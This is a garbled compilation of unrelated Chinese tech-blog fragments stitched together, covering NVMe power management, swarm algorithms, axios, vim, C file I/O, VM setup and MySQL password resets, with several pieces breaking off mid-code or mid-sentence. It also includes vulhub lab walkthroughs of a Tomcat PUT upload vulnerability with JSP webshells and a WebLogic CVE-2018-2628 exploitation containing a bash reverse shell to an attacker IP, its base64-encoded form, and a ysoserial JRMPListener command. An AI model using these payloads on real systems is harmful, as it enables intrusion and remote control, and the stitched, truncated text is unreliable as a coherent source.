本文简要地从 Linux 内核和 NVMe 驱动的角度对 APST 相关问题及分析、解决进行不完全总结 1。
更新:2023 / 2 / 13
Linux / NVMe | APST 不完全总结 背景信息为什么电源管理如何实现电源管理方式场景 电源管理的风险 自主电源状态切换(APST)系统概念配置 APST初始化 NVMe Controller 风险问题描述解决方案1.方法影响 2.方法影响 3.方法影响 参考链接 背景信息 快速可靠的 NVMe SSD 彻底改变了数据存储。但是,NVMe SSD 技术有一个缺点高功耗。
幸运地是 NVMe Spec 提供很多电源管理功能。
为什么电源管理 NVMe 电源管理可以帮助在平台散热和 SSD 消耗的总功率之间达成平衡。
即使规定了 SSD 的最大功率,主机 Host 也可以主动发起功率状态改变来改变 SSD 的功耗。
由于客户端 NVMe 设备大部分时间处于空闲状态,因此使用非工作电源状态( Non Operational State )可以延长设备寿命。
如何实现电源管理 方式 主机 Host 可以通过 3 种不同的方式访问 NVMe 电源管理功能:
①
群智能概述 群(swarm):某种交互作用的组织或agent的结构集合。人们把群居昆虫的集体行为称作“群智能”,即低智能的主体通过合作表现出高智能行为的特性。
群智能算法是一种基于生物群体行为规律的计算技术。
粒子群优化 基本粒子群算法描述 粒子速度和位置的更新 流程图 参数分析 惯性权重w 使粒子保持运动惯性,也表示微粒对当前自身运动状态的信任。较大的w有利于跳出局部极值,而较小的w有利于算法收敛。
改进的惯性权重w:随着迭代的进行,线性地减小w的值。
加速因子c1和c2 表示粒子的动作来源于自己经验的部分和其它粒子经验的部分。
改进的加速因子c1和c2
将c1和c2统一为一个控制参数,φ= c1+c2;
如果φ很小,微粒群运动轨迹将非常缓慢;如果φ很大,则微粒位置变化非常快;
当φ=4.0(c1=2.0,c2=2.0)时,具有很好的收敛效果。
粒子数 通常一般取20~40,对较难或特定类别的问 题可以取100~200。
最大速度vmax 决定粒子在一个循环中最大的移动距离,通常设定为粒子的范围宽度。
蚁群算法 以TSP问题为例说明蚁群算法。
设蚂蚁的数量为m,城市的数量为n,城市i和城市j的距离为距离选用欧式距离,t时刻城市i和城市j连接路径的信息素浓度为τ(i, j)
在算法初始时刻,设各城市连接路径的信息素浓度具有相同的值,m只蚂蚁放到n座城市。
α是信息素重要程度因子。β是启发函数重要程度因子。tabuk为禁忌表,表示已经访问的城市集合。
5.蚂蚁从当前城市访问下一城市的概率确定后,通常采用轮盘赌法选择下一城市,概率大被选中机会就大。
6.当所有蚂蚁完成一次访问后,各路径上的信息素将进行更新,信息素公式更新如下
7.针对蚂蚁释放信息素问题有如下三种模型
这三种模型分别对应路径的整体信息(蚂蚁所访问路径的总长)、局部信息(蚂蚁所访问城市间的距离)和不考虑路径信息。
8.以下优化TSP问题,选用ant cycle system模型, 即路径的整体信息路径越短,释放的信息素度越高。
蚁群算法的改进 最优解保留策略(Ant System with Elitist)
能够以更快的速度获得最好解,但是如果选择的精英过多则算法会由于较早收敛于局部次优解而导致搜索的过早停滞。
局部信息素更新
使已选的路径对后来的蚂蚁具有较小的影响力,从而使蚂蚁对没有选中的路径有更强的探索能力。
最大–最小蚂蚁系统(max-min ant system)
每次迭代后,只有最优解(最优蚂蚁)所属路径上的信息被更新;
为了避免过早收敛,将各条路径可能的信息素限制于[τmin ,τmax];
在算法初始时刻,ρ取较小值,算法有更好的发现较好解的能力。 随着迭代次数的增加, ρ变大加快算法的收敛。
1.post请求 axios.post("http://localhost:8089/add",form).then(res=>{ console.log(res) })
form:是一个Json对象 即 {key:value}
发送请求后的url形式:http://localhost:8089/add 数据会以请求体的形式发送给后端
例如:
2.get请求 2.1以查询字符串的形式传递 axios.get("后端接口",{params:form}).then(res=>{ })
form:是一个Json对象 即 {username:"张三"}
http://localhost:8089/user?username=张三
发送请求后的url形式:http://localhost:8089/user?username=张三
2.2以标准格式查询 http://localhost:8089/user/张三
axios.get("http://localhost:8089/user/张三").then(res=>{ })
3.put请求 axios.request.put("后端接口",form).then(res=>{ console.log(res) })
4.delete请求 axios.request.delete("后端接口",form).then(res=>{ console.log(res) })
1.在vue.config.js中进行如下配置,如果没有vue.config.js,就在和src统计目录下创建即可
// 跨域配置
module.exports = {
devServer: { //记住,别写错了devServer//设置本地默认端口 选填
port: 8848, //这是更改前端的端口号
proxy: { //设置代理,必须填
'/API': { //设置拦截器 拦截器格式 斜杠+拦截器名字,名字可以自己定
target: 'http://localhost:9090', //代理的目标地址,即后端的地址
changeOrigin: true, //是否设置同源,输入是的
pathRewrite: { //路径重写
'^/API': '' //选择忽略拦截器里面的内容
}
}
}
}
}
2.重新启动项目,前端端口发生改变就表示生效了
3.再写请求接口的时候直接写接口即可
例如:axios.request.get("/user?username='张三'")
命令作用cd进入某个目录ls查看当前目录文件rm - f 文件夹名删除当前文件夹mkdir 文件夹名创建文件夹touch 文件名创建文件vim 文件名编辑文件内容cat 文件名查看文件内容(从第一行开始)tac 文件名查看文件内容(从最后第一行开始)clear清空当前页面内容nl查看文件内容(与cat类似,只不过增加了行号显示)grep -rn “搜索内容” 文件名查看文件是否包含了要搜索的内容 点击i进行编辑,编辑完成之后,点击esc,可以在点击shift+: 之后在输入wq!退出编辑
目录
文本文件相关介绍
1.打开文件
2.文件的读取
(1) fgetc 函数
(2)fgets 函数
(3)fscanf 函数
(4)fread 函数
3.关闭文件
fclose(FILE *stream );
4.文件的写入
(1)fpuc 函数
(2)fputs 函数
(3)fprintf 函数
(4)fwrite 函数
5.文本文件的指针定位
(1)rewind 函数
(2)fseek 函数
有时候我们想通过编程语言来操作外部文件,对外部文件进行读取和修改、或者创建文件以此达到想要的目的。对此,我通过这篇文章来介绍如何通过C语言来操作文本文件。
文本文件相关介绍 文本文件是一种计算机文件,它是一种典型的顺序文件,其文件的逻辑结构又属于流式文件。特别的是,文本文件是指以ASCII码方式(也称文本方式)存储的文件,更确切地说,英文、数字等字符存储的是ASCII码,而汉字存储的是机内码。文本文件中除了存储文件有效字符信息(包括能用ASCII码字符表示的回车、换行等信息)外,不能存储其他任何信息。
文本文件常用格式:
(1).txt 纯文字文档,不携带字体的颜色、类型、以及相关修饰格式。
(2).doc 是Microsoft Word创建的格式化文件,一般用于图文排版。
(3).pdf 具有良好的加密性,一般多用于企业办公。
(4).doc与.docx .doc文件是旧版World文档旧版文件格式,.docx是新版格式。
(5).ASCLL 指含有用标准ASCII字符集编码的字符的数据和文本文件。
平时我们可以打开记事本或者文档来直接写入内容,然后保存起来,这就成功创建了一个文本文件,那么怎么通过C语言来去创建并且写入内容呢?下面是相关文本函数的简介。
标准头文件:#include<stdio.h>
这里我的文件相对路径是 text.txt
1.打开文件 函数:
FILE *fopen(char *filename, *type);
这个函数是返回一个指针类型,如果文本读取成功就返回文本的地址,如果读取失败就返回NULL空指针。
*type是表示操作编码,比如 r 表示对文件的读取、w 表示对文件的写入
示例:
FILE *fp; fp=fopen("text.txt","r");//表示对文件的读取 2.文件的读取 读取的操作:fopen("text.txt","r");
(1) fgetc 函数 原型:int fgetc( FILE *stream );
好的,给定一个大于 2 的自然数,下面是一个用 Python 语言实现的程序,可以输出小于该数字的所有素数组成的集合。
def get_primes(n): primes = [] for num in range(2, n): is_prime = True for i in range(2, num): if (num % i) == 0: is_prime = False break if is_prime:
要编写一个用于刷题的HTML页面,需要实现以下功能:
记录每道题正确或错误的次数。
如果正确次数多于一定值,则可以跳过该道题目。
这个功能可以通过使用JavaScript实现,并存储数据在浏览器端,例如使用LocalStorage。
HTML代码:
<!DOCTYPE html> <html> <head> <title>刷题页面</title> </head> <body> <div id="question"></div> <button id="correct">正确</button> <button id="incorrect">错误</button> </body> <script> const question = document.getElementById("question"); const correctBtn = document.getElementById("correct"); const incorrectBtn = document.getElementById("incorrect"); let questions = [ { content: "题目1" }, { content: "题目2" }, { content: "题目3" }, ]; let currentQuestion = 0; let skipThreshold = 2; function renderQuestion() { if (currentQuestion >= questions.length) return; question.innerHTML = questions[currentQuestion].content; } function updateQuestionStatus(isCorrect) { let key = `question-${currentQuestion}`; let status = localStorage.
一、漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中远程代码执行漏洞(CVE-2017-12615)。一定条件下,攻击者可以利用该漏洞,通过上传的jsp文件,在服务器上执行任意代码,导致数据泄露或权限被获取,存在高安全风险。
二、复现环境 vulhub的tomcat环境,burpsuite抓包工具
三、漏洞复现 启动vulhub,开启tomcat环境 使用burpsuite进行抓包 将GET改为OPTIONS,405错误响应
改为PUY,并上传shell.jsp文件,返回201成功响应
将tomcat放行,发现文件已经上传成功
3.使用webshell管理工具尝试连接 成功连接
四、影响版本 Apache Tomcat 7.0.0 - 7.0.81
五、原因分析 由于Tomcat的配置不当导致漏洞产生,将配置文件conf/web.xml中的readonly值设为false,导致可以使用PUT方法上传文件,获取服务器权限或导致服务器数据泄露。
六、漏洞修复 配置readonly值为True或注释参数,禁止使用PUT方法并重启tomcat。
可以在前端上阻止PUT和DELETE请求。
Redis实战 — 黑马点评(一) 登录篇 来自黑马的redis课程的笔记
【黑马程序员Redis入门到实战教程,深度透析redis底层原理+redis分布式锁+企业解决方案+黑马点评实战项目】
目录 Redis实战 — 黑马点评(一) 登录篇1. 项目介绍2. 短信登录2.1 流程:2.2 一些小的收获2.3 系统安全(重点)2.4 实现流程和关键代码2.4.1 发送验证码2.4.2 短信验证码登录/注册2.4.3 校验登录状态 1. 项目介绍 2. 短信登录 2.1 流程: 2.2 一些小的收获 使用hutool中的RandomUtil.randomNumbers(6)和RandomUtil.randomString(10)随机生成验证码和随机字符串(用于默认用户名)
代码中不要出现“魔法值”,要统一定义常量
mp中lambdaQuery的使用(相信之后不用再new QueryWrapper了)
User user = lambdaQuery().eq(User::getPhone, phone).one(); 使用UUID.randomUUID().toString(true)来生成不带‘-’的uuid
// 使用hutool工具中的对象转map,并自定义操作。 Map<String, Object> userMap = BeanUtil.beanToMap(userDTO, new HashMap<>(), CopyOptions.create() .ignoreNullValue() .setFieldValueEditor((fieldName, fieldValue) -> fieldValue.toString())); 封装好的常用的正则表达式和正则工具类
public abstract class RegexPatterns { /** * 手机号正则 * 使用过程中发现有些手机号不支持如191这些新手机号,自行修改即可,例如要支持191,只需将9[89]改为9[189] * 括号里面的就是第2,3位手机号 */ public static final String PHONE_REGEX = "
1. 获取文件列表 命令:
dir /B >lb.txt 查看磁盘D下的文件列表:
在D盘根目录下会生成文本文件lb.txt
2. 获取文件夹结构 命令:
tree /f >1.txt 查看磁盘D下的文件列表及其文件夹结构:
在D盘根目录下会生成文本文件1.txt
可以写成脚本文件:新建文本文档txt,输入dir /B >lb.txt或tree /f >1.txt并保存,后缀更改为,bat。
目录 Cadence Allegro 17.4学习记录开始04-制作封装STM32为例一、分析封装图片二、制作封装需要的焊盘第一个焊盘:小的引脚焊盘第二个焊盘:中间大的散热焊盘 三、制作封装一:使用的软件工具二、制作封装的步骤第一:新建封装第二:设计单位和界面大小,方便原点显示出来第三:放置焊盘第四:放置装配线第五:放置丝印线第六:放置位号字符1、装配位号2、位号3、value 第七、1 脚标识第八、引脚顺序第九、占地面积第十、器件最大高度第十一、极性标识第十二、原点 Cadence Allegro 17.4学习记录开始04-制作封装STM32为例 一、分析封装图片 根据元器件的规格书,找到封装图片,分析资料
二、制作封装需要的焊盘 制作焊盘需要记住管脚补偿:
凡亿的资料有介绍:
这个STM32的封装有有个焊盘需要制作,都是表贴焊盘:
第一个焊盘:小的引脚焊盘 第一;选择单位
第二:选择焊盘种类和形状
第三:设置正规则焊盘的大小,热风焊盘和隔离焊盘是负片层才使用的,可以不设置
第四:设计阻焊和钢网
这是表面焊盘,在top层设计就可以了
第五:另存为;
保存在自己知道 的路径(路径不能有中文),名称不能有小数点。
到现在这个焊盘就设置好了。
第二个焊盘:中间大的散热焊盘 第一;选择单位
第二:选择焊盘种类和形状
第三:设置正规则焊盘的大小,热风焊盘和隔离焊盘是负片层才使用的,可以不设置
第四:设计阻焊和钢网
这是表面焊盘,在top层设计就可以了
第五:另存为;
保存在自己知道 的路径(路径不能有中文),名称不能有小数点。
到现在这个焊盘就设置好了。
三、制作封装 一:使用的软件工具 PCB Editor 17.4:
二、制作封装的步骤 第一:新建封装 打开软件,文件—新建
弹出方框:点击No,不保存
然后出现制作封装的界面
第二:设计单位和界面大小,方便原点显示出来 设计----设计参数
第三:放置焊盘 1、指定焊盘的路径
2,先计算出1脚的坐标,相对于原点
点击,布局-----引脚pin
x空格横坐标空格纵
然后回车,就可以放置好了
3、安装这个方法,
将其他方向的焊盘放置完。
第四:放置装配线 1、选择line
2、设置参数
放置线条,输入坐标
第五:放置丝印线 1、把格点设置小
2、开始放置
第六:放置位号字符 1、装配位号 2、位号 3、value 第七、1 脚标识 第八、引脚顺序 第九、占地面积 第十、器件最大高度 第十一、极性标识 这里没有,不用画
使用VMware安装CentOS7的步骤 一、安装centOS7 1.打开VMware创建新的虚拟机。 2.选择自定义 ,然后下一步。 3.选择Worksation 16.x 然后下一步。 4.选择稍后安装操作系统 然后下一步。 5.选择linux(L)系统 ,版本选择centOS7 64位,然后下一步。 6.可以对虚拟机进行命名,选择安装路径,然后下一步。 7.选择处理器数量,每个处理器的内核数量,根据自己需求选择,然后下一步。 8.自定义选择虚拟机使用内存 点击下一步。 9.选择网络类型,使用网络地址转换(NAT)(E),然后下一步。 10.选择I/O控制器类型,LSI Logic(L)(推荐)然后点击下一步。 11.选择磁盘类型 SCSI(S)(推荐)然后点击下一步。 12.选择磁盘 创建新虚拟磁盘(V) 然后点击下一步。 13.指定磁盘容量,将虚拟磁盘拆分成多个文件,点击下一步。 14.指定磁盘文件,点击下一步。 15.已准备好创建虚拟机,点击自定义硬件。 16.找到新CD/DVD(IDE),点击使用ISO映像文件,点击浏览。 17.找到映像文件,点击打开。 18.点击关闭。 19.点击完成。 系统安装 1.打开虚拟机。 2.选择第一个,按Enter键。 3.语言选择中文,点击继续。 4.安装信息摘要、日期、键盘、语言、安装源,选择默认不用管。 5.点击软件选择(S),点击最小安装和开发工具,点击完成。 6.点击安装位置。 7.点击我要区分位置,点击完成。 8.点击加号。 9.添加新挂载点:/boot;swap;/;然后点击完成。 注意:
boot:作用系统启动,不需太大内存
swap:内存扩展分区
/:根,绝对路径的开始标志
10.点击接受更改。 11.点击KDUNMP。 12.关闭kdump,点击完成。 13.点击网路和主机名(N)。 14.打开以太网,自行修改主机名,点击应用,点击配置。 15.点击配置后,点击IPv4设置,选择手动,点击add添加ip地址。 16.IP在自己的主机上找,鼠标右键在终端打开,在命令窗口输入:ipconfig命令;这里我们就可以看到VMnet1和8。 注意:本机ip地址不能和虚拟机一样,所以要用相近的。
17.IP地址添加完成后,点击保存,然后点击完成。 18.点击安装。 19.开始设置root账户密码,然后点击创建用户。 20.设置root密码在这里我们设置位111111(自行设置密码),点击完成。 21.创建用户名和密码,然后点击完成。 23。点击完成配置,等待重启系统。 24.点击重启系统。 25.出现local login:表示安装完成。
MQ 目录 MQ一、同步通讯和异步通讯1. 同步通讯2. 异步通讯 二、RabbitMQ1. 部署2. 架构3. 常见消息模型3.1 基本消息队列(Basic Queue) 3.2 工作消息队列(Work Queue)3.3 发布订阅(Publish、Subscribe) 4. 消息转换器 一、同步通讯和异步通讯 1. 同步通讯 优点
时效性强,立即获取结果 缺点
耦合度高性能和吞吐能力不如异步额外资源消耗级联失败问题 2. 异步通讯 优点
服务解耦性能提升,吞吐量提高服务没有强依赖,不担心级联问题流量削峰 缺点
依赖Broker的可靠性、安全性、吞吐能力架构复杂的情况下,业务没有明显的流程线,不好追踪管理 MQ即是事件驱动架构中的Broker。
二、RabbitMQ 1. 部署 直接docker拉一个:
# 拉取镜像 docker pull rabbitmq:3-management #启动容器 docker run \ -e RABBITMQ_DEFAULT_USER=root \ -e RABBITMQ_DEFAULT_PASS=123456 \ --name mq \ --hostname mq1 \ -p 15672:15672 \ -p 5672:5672 \ -d \ rabbitmq:3-management # 15672是管理口 2. 架构 几个概念:
目录
1.基本概念
1.1 图像压缩概念及其分类
1.2 数据冗余
1.3 图像信息的度量
1.4 图像保真度准则 (Fidelity Criteria)
1.5 图像压缩模型
2.图像压缩方法
2.1Huffman编码 消除编码冗余
2.2算术编码 (Arithmetic Coding) 消除编码冗余
2.3LZW编码 (Lempel-Ziv-Welch coding)
2.4位平面编码
2.5预测编码
预测器
量化器 ???????
2.6变换编码
3.图像压缩标准
3.1 二值图像压缩标准
3.2 静止图像压缩标准
3.3 视频压缩标准
1.基本概念 1.1 图像压缩概念及其分类 数据压缩
以尽可能少的数据表示信源所发出的信号,减少数据所占用的存储空间
信息论中称信源编码
无失真编码有失真编码(或称限失真编码) 图像压缩
数据压缩技术在图像中的应用。
无损压缩(Lossless compression):原始数据可完全从压缩数据中恢复出来,即在压缩和解压缩过程中没有信息损失。 压缩比2:1左右有损压缩(Lossy compression) :原始数据不能完全从压缩数据中恢复出来,即恢复数据只是在某种失真度下的近似。 压缩比2:1-1000:1; 1.2 数据冗余 信源数据 = 有用数据 + 冗余数据
如果能减少或消除冗余数据,就能取得压缩的效果。
压缩比(Compression Ratio,CR)
n1(压缩前)、( n2压缩后) 代表两个表示相同信息的数据集,压缩比定义为: 前/后
压缩比越大越好,若为1,则没有压缩
三种基本的图像冗余
1. 编码冗余(Coding Redundancy)
请安装UE5.0.3就不会有这个提示了。
Vim是从 vi 发展出来的一个文本编辑器。它不仅兼容vi的所有指令,而且还有一些新的特性在里面。代码补完、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。他可以让你手不离键盘的完成鼠标的所有操作。本文基于Linux操作系统下的讲解与配置。
一、vim的基本概念 vim的三种基本模式,分别是命令模式(command mode)、插入模式(Insert mode)和底行模式(last line mode),各模式的功能区分如下:
正常/普通/命令模式(Normal mode)
控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入Insert mode下,或者到 last line mode。
插入模式(Insert mode)
只有在Insert mode下,才可以做文字输入,按「ESC」键可回到命令行模式。该模式是我们后面用的最频繁的编辑模式。
末行模式(last line mode)
文件保存或退出,也可以进行文件替换,找字符串,列出行号等操作。 在命令模式下,shift+: 即可进入该模式。查看你的所有模式:打开vim,底行模式直接输入help vim-modes。
二、vim切换模式及退出 正常模式切换至插入模式
输入a(光标位于下一位置插入)、i(光标在当前位置插入)、o(光标另起一行插入)的一种。
插入模式提示:
插入模式切换至正常模式
目前处于[插入模式],就只能一直输入文字,如果发现输错了字,想用光标键往回移动,将该字删除,可以先按一下「ESC」键转到[正常模式]再删除文字。当然,也可以直接删除。
正常模式切换至末行模式 输入「:」
退出vim及保存文件 在[正常模式]下,按一下「:」冒号键进入「Last line mode」,输入w(保存文件),q(退出),q!(强制退出不保存)。
三、vim正常模式命令集 光标移动:
vim可以直接用键盘上的光标来上下左右移动,但正规的vim是用小写英文字母「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格
按「G」:移动到文章的最后 「 $ 」:移动到光标所在行的“行尾”
按「^」:移动到光标所在行的“行首” 「w」:光标跳到下个字的开头
按「e」:光标跳到下个字的字尾 「b」:光标回到上个字的开头
按「#l」:光标移到该行的第#个位置 [gg]:进入到文本开始
按[shift+g]:进入文本末端 「ctrl」+「b」:屏幕往“后”移动一页
按「ctrl」+「f」:屏幕往“前”移动一页 「ctrl」+「u」:屏幕往“后”移动半页
按「ctrl」+「d」:屏幕往“前”移动半页
删除:
[x]:每按一次,删除光标所在位置的一个字符
[#x]:例如,「6x」表示删除光标所在位置的“后面(包含自己在内)”6个字符
[X]:大写的X,每按一次,删除光标所在位置的“前面”一个字符
[#X]:例如,「20X」表示删除光标所在位置的“前面”20个字符
[dd]:删除光标所在行
[#dd]:从光标所在行开始删除#行
复制:
[yw]:将光标所在之处到字尾的字符复制到缓冲区中。 [#yw]:复制#个字到缓冲区
[yy]:复制光标所在行到缓冲区。
[#yy]:例如,「6yy」表示拷贝从光标所在的该行“往下数”6行文字。
目录 一、进制转换1、十进制转二进制2、十进制转八进制(同上)3、二进制转八进制4、二进制转十六进制5、八进制转二进制6、十六进制转二进制 二、位运算1、原码、反码、补码2、位运算符3、变换操作 一、进制转换 1、十进制转二进制 如十进制34转为二进制: 34/2=17······0 17/2=8·······1 8/2=4········0 4/2=2········0 2/2=1········0 1/2=0········1 得到34二进制:0010 0010 2、十进制转八进制(同上) 3、二进制转八进制 从低位开始,将二进制数每三位一组,转成对应八进制数
4、二进制转十六进制 从低位开始,将二进制数每四位一组,转成对应十六进制数
5、八进制转二进制 八进制数每一位,转成对应的一个三位二进制数
6、十六进制转二进制 八进制数每一位,转成对应的一个四位二进制数
二、位运算 1、原码、反码、补码 二进制中,最高位是符号位:0表示正数,1表示负数。
正数:原码、反码、补码相同(三码合一)
负数:
负数反码=原码符号位不变,其他位取反负数补码=反码+1 (负数反码=补码-1) -2的原码: 10000000 00000000 00000000 00000010 -2的反码: 11111111 11111111 11111111 11111101 -2的补码: 11111111 11111111 11111111 11111110 2、位运算符 C++一共有6个位运算符(&、|、^、~、>>、<<)
3. 按位与&
4. 按位或|
5. 按位异或^:两位一个为0、一个为1,结果为1,否则为0;
6. 按位取反~
7. 算数右移>>:低位溢出,符号位不变,用符号位补溢出高位
本质上:右移1位,等价于/2
8. 算数左移<<:符号位不变,低位补0
本质上:左移1位,等价于2*
3、变换操作 1.题目:二进制中1的个数
int NumberOf1(int n) { int count = 0; while(n!
一.首先安装vulhub
二.打开Tomcat环境
利用cd命令打开tomcat
三.这里打开如下这个漏洞环境
四.cd打开进去后,观察里面的文件内容
其中最后一个文件,可以点击打开了解结果答案
五.打开最后一个文件观察结果图片
观察到把GET请求 换成了PUT请求,并且上传了1.jsp的文件
六.登录火狐浏览器,利用burpsite抓包,修改数据包里的内容
首先登录步骤五里面的url地址
利用 docker-compose build 建立环境
再利用 docker-compose up -d 启动环境
成功
**接下来的思路:**1.可以上传jsp木马,进行蚁剑连接 拿下shell
2.上传一句话木马,蚁剑连接 拿shell
(Tomcat中间件PUT漏洞,根据版本,再抓包改包,观察是否可以上传成功,代码中就是readonly=flase的设定出了问题,由此可以解析jsp文件)
仅个人学习所写,有错误请指正,谢谢大家
一、漏洞成因 攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
java反序列化:指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。
二、漏洞识别 1、扫描端口,这里不知道为啥没有扫描出特定的T3协议端
2、POC工具利用
检测出具有CVE-2018-2628漏洞
三、漏洞利用 启动JRMP Server,使得触发漏洞后的weblogic,可远程调用特定的程序:
攻击了一台存在漏洞的靶机时,靶机就会找这台具有JRMP服务的机器,寻找payload;
bash命令:bash -i >& /dev/tcp/192.168.236.128/7777 0>&1
由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
格式为:bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
运行代码:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}’
第7课 MMSegmentation代码教学 mmsegmentation代码库:https://github.com/open-mmlab/mmsegmentation以及教程git:https://github.com/TommyZihao/MMSegmentation_Tutorials/tree/main/20230206。
安装配置环境使用预训练模型进行推理 命令行python api视频 在自己的数据集上训练语义分割模型Kaggle代码实战
数据库数据及实现方式:
具体sql如下:
select * from test1 ORDER BY ( case when name = '张三' then 1 when name like '%张三' THEN 2 when name like '张三%' then 3 when name like '%张三%' then 4 else 5 end );
一、前言 最近,我在搞服务端的skynet框架,看看以后自己做些作品(skynet框架服务端+Unity客户端)。今天呢,我就先把skynet环境搞一下,讲讲流程,也方便想学习的同学,话不多说,我们开始吧~
二、关于Skynet skynet是一个轻量级的网络游戏框架,也可用于许多其他领域。
建议大家看下云风的《[Skynet设计综述][Skynet 4]》,这里我不过多赘述,主要讲讲操作流程~
三、Ubuntu虚拟机 skynet需要运行在linux或macos系统中,这里作为演示,我使用Ubuntu虚拟机。下面我讲下Ubuntu虚拟机的安装过程。
1、Ubuntu系统镜像下载 首先我们需要先下载Ubuntu系统的iso文件,下面这些地址都可以下载,大家选择一个即可:
网易开源镜像:[http://mirrors.163.com/ubuntu-releases/][http_mirrors.163.com_ubuntu-releases]
Ubuntu官方:[http://releases.ubuntu.com/][http_releases.ubuntu.com]
Ubuntu中国官网:[https://ubuntu.com/download/alternative-downloads][https_ubuntu.com_download_alternative-downloads]
中科开源镜像:[http://mirrors.ustc.edu.cn/ubuntu-releases/][http_mirrors.ustc.edu.cn_ubuntu-releases]
阿里开源镜像:[http://mirrors.aliyun.com/ubuntu-releases/][http_mirrors.aliyun.com_ubuntu-releases]
浙江大学开源镜像:[http://mirrors.zju.edu.cn/ubuntu-releases/][http_mirrors.zju.edu.cn_ubuntu-releases]
我以Ubuntu 16.04.7版本为例,地址:[http://mirrors.163.com/ubuntu-releases/16.04.7/][http_mirrors.163.com_ubuntu-releases_16.04.7]
把iso文件下载到本地,
2、VirtualBox虚拟机软件 有了iso文件,需要将其安装到虚拟机中,而虚拟机需要运行在虚拟机软件上,所以,我们还需要先安装一个虚拟机软件。
虚拟机软件大家常用的是VMWare,这里我强烈推荐另一款虚拟机软件:VirtualBox,它轻量、开源免费,对于个人学习使用完全足够,五星推荐~
关于VirtualBox:
VirtualBox是一款开源虚拟机软件。VirtualBox是由德国Innotek公司开发,由Sun Microsystems公司出品的软件,使用Qt编写,在 Sun被 Oracle收购后正式更名成 Oracle VM VirtualBox。
VirtualBox号称是最强的免费虚拟机软件,它不仅具有丰富的特色,而且性能也很优异!它简单易用,可虚拟的系统包括Windows(从Windows 3.1到Windows 10、Windows Server 2012,所有的Windows系统都支持)、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统!使用者可以在VirtualBox上安装并且运行上述的这些操作系统!
2.1、VirtualBox下载 VirtualBox我们可以从官网下载到,地址:[https://www.virtualbox.org/][https_www.virtualbox.org]
选择windows版本,点击下载,
下载完毕,
2.2、VirtualBox安装 双击安装包运行安装,过程没有什么特别的,这里不赘述~
安装成功后打开VirtualBox,界面如下:
2.3、创建虚拟机 点击菜单控制/新建,
填写虚拟机名称,设置虚拟机保存路径,如下,我设置为E:\ubuntu16,
设置内存大小,建议分配2G内存,
创建虚拟硬盘,
建议分配10G的虚拟硬盘空间,
虚拟机创建完成,如下
3、载入Ubuntu iso镜像 点击启动虚拟机,会提示选择启动盘,点击下面的小按钮,
点击注册,
选择我们刚刚下载的iso系统镜像文件,打开,可以看到列表中出现了我们的镜像,选中它,
点击启动,即可进入系统安装。
4、Ubuntu系统安装过程 点击Install Ubuntu,
点击Continue,
点击Install Now,
此时会弹个提示框,点击Continue,
时区填写China Time,然后点击Continue,
语言默认English,点击Continue,
接着输入账号密码,后面进入系统的时候要用到,这里提示我的密码弱(Weak password),由于只是自己学习使用,密码弱也没什么关系,点击Continue,
设置共享文件夹路径 操作如下 vmhgfs-fuse /mnt/hgfs
如图 transfer即为我设置的共享文件夹
环境 Mysql版本:8.0
操作系统:CentOS 7.x
适用场景 使用Docker拉取的Mysql并启动的Mysql容器,这个时候如果需要跳过Mysql密码验证,网上流传的最多的就是在Mysql的配置文件my.cnf中添加一行代码,但是这个仅仅是在非Docker容器运行的Mysql使用,如果你的Mysql使用的Docker容器执行的,按照网上修改并无任何作用,甚至找不到my.cnf。
解决办法 1.找到docker.cnf 执行命令
find / -name docker.cnf 如果出现多个,选择带有merged这个
2.编辑docker.cnf 紧接着使用vim编辑docker.cnf文件,在最后一行添加skip-grant-tables 保存并退出 执行命令
vim /你的路径/docker.cnf 3.重启Mysql容器 执行命令
docker restart mysql(改成你的mysql容器名) 查询docker容器服务 :docker ps 以上已经完成跳过Mysql密码验证!
4.验证 进入容器
docker exec -it mysql(改成你的Mysql容器) bash eg: docker exec -it mysql bash 进入Mysql,输入完以下命令直接回车即可,恭喜成功进入,接下来就修改密码吧
mysql -u root -p 5.修改Mysql密码 注意,如果按照正常的修改密码,会提示你,大致意思是你现在处于skip-grant-tables,不能修改,废话不多说看操作,进入Mysql之后,按照下面的步骤
1.选择库
use mysql; 2.先刷新权限
flush privileges; 3.修改密码
SET PASSWORD FOR 'root'@'%' = 'root(这里改成的密码)'; 4.再次刷新权限
flush privileges; 搞定!
注意 修改完成密码之后不要忘记把docker.cnf文件中的skip-grant-tables删除!!!然后重复 3.重启Mysql容器!
import java.util.Random; public class 一 { public static void main(String[] args) { Random random = new Random(); int i=0; for(i=0;i<10;i++){ System.out.println(random.nextInt(100)); } } }
如果要使用 R 语言分析数据,通常需要以下步骤:
导入数据:可以从多种格式的数据文件(如 CSV,Excel 等)中导入数据,并将其存储为 R 中的数据框(data.frame)。
数据清理:检查数据中是否存在缺失值、异常值等,并对其进行清理。
